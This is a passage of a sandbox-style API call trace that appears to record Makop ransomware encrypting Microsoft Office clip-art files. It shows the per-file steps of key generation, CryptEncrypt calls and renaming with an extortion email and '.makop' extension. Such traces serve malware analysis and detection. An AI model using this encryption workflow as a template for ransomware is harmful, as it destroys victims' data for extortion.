dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.302] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.302] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.302] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1870, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1870, lpOverlapped=0x0) returned 1 [0109.304] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1870, dwBufLen=0x1870 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1870) returned 1 [0109.304] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.304] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1870, lpOverlapped=0x0) returned 1 [0109.304] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.304] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.304] SetEndOfFile (hFile=0xf0) returned 1 [0109.312] GetProcessHeap () returned 0x48a0000 [0109.312] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.312] GetProcessHeap () returned 0x48a0000 [0109.312] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.313] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.313] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.314] CloseHandle (hObject=0xf0) returned 1 [0109.314] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1 [0109.314] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0109.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.315] GetProcessHeap () returned 0x48a0000 [0109.315] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.315] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.315] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.315] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0109.321] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.321] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.321] GetProcessHeap () returned 0x48a0000 [0109.321] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.321] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.321] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.321] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.322] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.322] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.322] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.322] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.323] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.323] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.323] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.323] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.323] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4c14, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4c14, lpOverlapped=0x0) returned 1 [0109.325] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4c20, dwBufLen=0x4c20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4c20) returned 1 [0109.325] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.325] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4c20, lpOverlapped=0x0) returned 1 [0109.326] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.326] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4cf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.326] SetEndOfFile (hFile=0xf0) returned 1 [0109.333] GetProcessHeap () returned 0x48a0000 [0109.333] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.333] GetProcessHeap () returned 0x48a0000 [0109.333] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.333] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.333] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.335] CloseHandle (hObject=0xf0) returned 1 [0109.335] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7d46d00, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7d46d00, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1 [0109.335] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0109.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.336] GetProcessHeap () returned 0x48a0000 [0109.336] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.336] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.336] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.336] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.341] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.341] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.341] GetProcessHeap () returned 0x48a0000 [0109.341] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.341] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.341] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.341] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.342] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.342] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.342] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.342] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.342] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.342] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.342] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.343] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.343] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xeb8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xeb8, lpOverlapped=0x0) returned 1 [0109.343] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xec0, dwBufLen=0xec0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xec0) returned 1 [0109.343] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.343] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xec0, lpOverlapped=0x0) returned 1 [0109.343] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.343] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.343] SetEndOfFile (hFile=0xf0) returned 1 [0109.350] GetProcessHeap () returned 0x48a0000 [0109.350] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.351] GetProcessHeap () returned 0x48a0000 [0109.351] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.351] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.351] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.352] CloseHandle (hObject=0xf0) returned 1 [0109.352] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1 [0109.352] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0109.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.354] GetProcessHeap () returned 0x48a0000 [0109.354] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.354] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.354] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.354] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0109.359] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.359] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.359] GetProcessHeap () returned 0x48a0000 [0109.359] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0109.359] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0109.359] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.359] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0109.360] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.360] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.360] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.360] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.360] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.361] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.361] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.361] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.361] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd16, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd16, lpOverlapped=0x0) returned 1 [0109.361] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd20, dwBufLen=0xd20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd20) returned 1 [0109.361] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.361] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd20, lpOverlapped=0x0) returned 1 [0109.361] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.361] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.362] SetEndOfFile (hFile=0xf0) returned 1 [0109.369] GetProcessHeap () returned 0x48a0000 [0109.369] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0109.369] GetProcessHeap () returned 0x48a0000 [0109.369] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.369] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 106 [0109.370] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.371] CloseHandle (hObject=0xf0) returned 1 [0109.372] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1 [0109.372] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0109.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.374] GetProcessHeap () returned 0x48a0000 [0109.374] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.374] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.374] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.374] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.381] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.381] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.381] GetProcessHeap () returned 0x48a0000 [0109.381] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.381] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.381] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.381] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.381] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.382] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.382] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, 